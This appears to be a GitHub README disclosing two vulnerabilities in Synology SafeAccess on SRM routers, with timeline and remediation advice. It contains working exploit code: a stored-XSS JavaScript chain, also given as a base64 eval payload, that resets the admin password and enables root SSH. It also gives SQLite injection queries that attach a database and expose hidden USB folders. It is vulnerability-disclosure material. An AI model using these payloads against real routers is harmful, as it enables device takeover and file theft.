Skip to content

thomasfady/Synology_SA_20_25

Repository files navigation

Synology-SA-20:25: SafeAccess - Multiple Vulnerabilities

Safe Access Version: 1.2.1-0220

SRM Version : 1.2.3-8017 Update 4

Bug Hunter: Thomas FADY

CVE:

Advisory:

Timeline

  • 01/05/2020: Vendor Disclosure
  • 24/11/2020: Initial public release.
  • 30/11/2020: Disclosed vulnerability details.

Summary

The first vulnerability described in the report is a Stored XSS exploiting multiple output pages. If an attacker exploits this vulnerably, the session of the admin user can be used to execute an action on the router like changing the admin password and activating the SSH service to take control of the router.

The second vulnerability is an SQLite Injection leading to arbitrary SQLite editing on the system. An attacker can for example modify the fbsharing.db database to expose internals directories and download all accessible files through the File Station.

Multiple Stored XSS

Explanation

The XSS occurs when a user sends a request to access a website blocked by SafeAccess. The domain is reflected on the activity log and reports of SafeAccess. If the admin user visits one of these vulnerable pages, the attacker can use JavaScript to use SRM API and modify the administrator password. Then, the attacker can enable SSH and get remote access to the router as root.

The exploit requires:

  • The SafeAccess Package installed

  • A profile with a Web filter defined

    image-20200501180829507

Exploitation

First, to test the normal behavior, we send a request to ask the administrator the access to a blocked domain.

image-20200501163909763

The domain doesn't need to be in the block list but a profile needs to be configured on SafeAccess.

We can see the request in the activity log

image-20200501164009608

To confirm the XSS, we can use a simple payload to print an alert on the web page.

image-20200501164246877

The content is loaded on the page dynamically, so we use an event-based XSS.

<img src=x onerror=alert("XSS")>

We can see that the XSS is triggered

image-20200501164411218

For our JS part of the exploit, we need multiple steps:

  • Get the admin name
  • Edit his password
  • Activate SSH

Here is the code to get the admin name :

var xhr = new XMLHttpRequest();
xhr.open("POST", '/webapi/_______________________________________________________entry.cgi', true);
xhr.onreadystatechange = function() { 
    if (this.readyState === XMLHttpRequest.DONE && this.status === 200) {
			var name = JSON.parse(this.response)['data']['result'][0]['data']['users'][0]['name']);
    }
}
xhr.setRequestHeader("X-SYNO-TOKEN",_S("SynoToken"));
xhr.send("stop_when_error=false&compound=%5B%7B%22api%22:%22SYNO.Core.Group.Member%22,%22method%22:%22list%22,%22version%22:1,%22group%22:%22administrators%22%7D%5D&api=SYNO.Entry.Request&method=request&version=1");

Here is the code to change the admin password (the new password is "adminpassword"):

var xhr = new XMLHttpRequest();
xhr.open("POST", '/webapi/_______________________________________________________entry.cgi', true);
xhr.setRequestHeader("X-SYNO-TOKEN",_S("SynoToken"));
xhr.send("stop_when_error=true&compound=%5B%7B%22api%22%3A%22SYNO.Core.User%22%2C%22method%22%3A%22set%22%2C%22version%22%3A1%2C%22name%22%3A%22admin%22%2C%22password%22%3A%22adminpassword%22%7D%5D&api=SYNO.Entry.Request&method=request&version=1");

Here is a code to activate SSH:

var xhr = new XMLHttpRequest();
xhr.open("POST", '/webapi/_______________________________________________________entry.cgi', true);
xhr.setRequestHeader("X-SYNO-TOKEN",_S("SynoToken"));
xhr.send("stop_when_error=false&compound=%5B%7B%22api%22:%22SYNO.Core.Terminal%22,%22method%22:%22set%22,%22version%22:%222%22,%22enable_ssh%22:true,%22ssh_hw_acc_cipher_only%22:false%7D%5D&api=SYNO.Entry.Request&method=request&version=1");

Here is the combined code:

var entry_url = "/webapi/_______________________________________________________entry.cgi";
function get_xhr(){
    var x = new XMLHttpRequest();
    x.open("POST",entry_url , true);
    x.setRequestHeader("X-SYNO-TOKEN",_S("SynoToken"));
    return x
}
function send_compound(compound){
  get_xhr().send("stop_when_error=false&compound="+compound+"&api=SYNO.Entry.Request&method=request&version=1");
}
var x = get_xhr();
x.onreadystatechange = function() { 
    if (this.readyState === XMLHttpRequest.DONE && this.status === 200) {
        	var name = JSON.parse(this.response)['data']['result'][0]['data']['users'][0]['name'];
  send_compound("%5B%7B%22api%22%3A%22SYNO.Core.User%22%2C%22method%22%3A%22set%22%2C%22version%22%3A1%2C%22name%22%3A%22"+name+"%22%2C%22password%22%3A%22adminpassword%22%7D%5D");
      send_compound("%5B%7B%22api%22:%22SYNO.Core.Terminal%22,%22method%22:%22set%22,%22version%22:%222%22,%22enable_ssh%22:true,%22ssh_hw_acc_cipher_only%22:false%7D%5D");
    }
}
x.send("stop_when_error=false&compound=%5B%7B%22api%22:%22SYNO.Core.Group.Member%22,%22method%22:%22list%22,%22version%22:1,%22group%22:%22administrators%22%7D%5D&api=SYNO.Entry.Request&method=request&version=1");

To send it easily, we minify the JS code and encode it in base64.

The final JS part is :

eval(atob("ZnVuY3Rpb24gZygpe3ZhciBhPW5ldyBYTUxIdHRwUmVxdWVzdDtyZXR1cm4gYS5vcGVuKCdQT1NUJyxlLCEwKSxhLnNldFJlcXVlc3RIZWFkZXIoJ1gtU1lOTy1UT0tFTicsX1MoJ1N5bm9Ub2tlbicpKSxhfWZ1bmN0aW9uIHMoYSl7ZygpLnNlbmQoJ3N0b3Bfd2hlbl9lcnJvcj1mYWxzZSZjb21wb3VuZD0nK2ErJyZhcGk9U1lOTy5FbnRyeS5SZXF1ZXN0Jm1ldGhvZD1yZXF1ZXN0JnZlcnNpb249MScpfXZhciBlPScvd2ViYXBpL19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19lbnRyeS5jZ2knLHg9ZygpO3gub25yZWFkeXN0YXRlY2hhbmdlPWZ1bmN0aW9uKCl7aWYodGhpcy5yZWFkeVN0YXRlPT09WE1MSHR0cFJlcXVlc3QuRE9ORSYmdGhpcy5zdGF0dXM9PT0yMDApe3ZhciBhPUpTT04ucGFyc2UodGhpcy5yZXNwb25zZSkuZGF0YS5yZXN1bHRbMF0uZGF0YS51c2Vyc1swXS5uYW1lO3MoJyU1QiU3QiUyMmFwaSUyMiUzQSUyMlNZTk8uQ29yZS5Vc2VyJTIyJTJDJTIybWV0aG9kJTIyJTNBJTIyc2V0JTIyJTJDJTIydmVyc2lvbiUyMiUzQTElMkMlMjJuYW1lJTIyJTNBJTIyJythKyclMjIlMkMlMjJwYXNzd29yZCUyMiUzQSUyMmFkbWlucGFzc3dvcmQlMjIlN0QlNUQnKSxzKCclNUIlN0IlMjJhcGklMjI6JTIyU1lOTy5Db3JlLlRlcm1pbmFsJTIyLCUyMm1ldGhvZCUyMjolMjJzZXQlMjIsJTIydmVyc2lvbiUyMjolMjIyJTIyLCUyMmVuYWJsZV9zc2glMjI6dHJ1ZSwlMjJzc2hfaHdfYWNjX2NpcGhlcl9vbmx5JTIyOmZhbHNlJTdEJTVEJyl9fSx4LnNlbmQoJ3N0b3Bfd2hlbl9lcnJvcj1mYWxzZSZjb21wb3VuZD0lNUIlN0IlMjJhcGklMjI6JTIyU1lOTy5Db3JlLkdyb3VwLk1lbWJlciUyMiwlMjJtZXRob2QlMjI6JTIybGlzdCUyMiwlMjJ2ZXJzaW9uJTIyOjEsJTIyZ3JvdXAlMjI6JTIyYWRtaW5pc3RyYXRvcnMlMjIlN0QlNUQmYXBpPVNZTk8uRW50cnkuUmVxdWVzdCZtZXRob2Q9cmVxdWVzdCZ2ZXJzaW9uPTEnKQ=="))

We can now send the malicious domain unblock request:

image-20200501173235161

Now, we visit the SafeAccess activity log to trigger the XSS (the Administrator can receive a direct link to accept by email if it is configured):

image-20200501173419221

Finally, we can ssh as root on the router

image-20200501173635879

Note

The XSS is also present on activity reports.

image-20200501174321029

If the administrator accesses the report, the XSS will be triggered

image-20200501174356242

But on this interface, is not possible to get the X-SYNO-TOKEN and thus, use the Synology API.

The workaround is to redirect the user to the application by using a link like this :

/webman/index.cgi?launchApp=SYNO.SafeAccess.Application&launchParam=fn%3DSYNO.SafeAccess.Activity.TabPanel%26tabname%3Daccess_request

It's possible with:

  • "window.location.href" JavaScript function.
  • an Iframe (the Iframe will call itself. We need to check if the iframe is not already in an iframe )

A valid JS code can be :

if(window.self == window.top){
var i = document.createElement('iframe');
i.src = "/webman/index.cgi?launchApp=SYNO.SafeAccess.Application&launchParam=fn%3DSYNO.SafeAccess.Activity.TabPanel%26tabname%3Daccess_request";
document.body.appendChild(i);
}

Remediation

To fix this vulnerability, I advise addressing two points:

  • Fix the XSS by encoding the output during the activity log rendering
  • Require the old password to modify the administrator account

SQLite Injection

Explanation

The same endpoint is vulnerable to SQLite Injection. I identified a way to get access to the shared folders file using this injection. I'm looking for a way to upload a file to be able to trigger my old reported vulnerability: Unauthenticated RCE with root privileges in DSM and SRM". This vulnerability is not fixed on SRM and requires only to be able to write on the disk.

On DSM, the sharing feature allows to define an upload folder but I couldn't find it on SRM.

Exploitation

The domain parameter is not properly handled to protect against SQLite injection. To confirm the vulnerability, we will try to define the SQLite version as domain.

image-20200501181500003

We can see on the activity log interface that the router uses version 3.27 of SQLite.

image-20200501181848469

SQLite allows attaching a database to modify it directly. I choose the database "fbsharing.db" containing sharing folders information.

By default, this file does not exist. To create it, we need to share at least one thing.

A USB device needs to be plugged into the router to be able to use the File Station.

To demonstrate the exploitation, we can create two folders:

image-20200501183158152

We share the "Shared file" folder and our goal is to get access to "Super Secret Files"

image-20200501183253622

To share the "Super Secret Files" folder we need to execute three SQL Queries:

ROLLBACK;
ATTACH DATABASE '' AS sharing ;
INSERT INTO sharing.sharingLinks VALUES("exploits",1024,"/","/usbshare1/",null,0,0,"admin","valid","true",null);

We can execute these queries with the SQLite injection:

image-20200501183820556

The response of this request is an error because the SQLite injection occurs two times and works only on the first injection.

The shared folder is correctly added:

image-20200501184013023

Now, we can access the new shared folder:

http://192.168.1.1:8000/fbdownload/exploits?k=exploits&stdhtml=true

image-20200501184042710

And we can access the "Super Secret Files"

image-20200501184113253

Remediation

To fix this vulnerability, we need to use a prepared statement to execute SQLite queries properly.

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published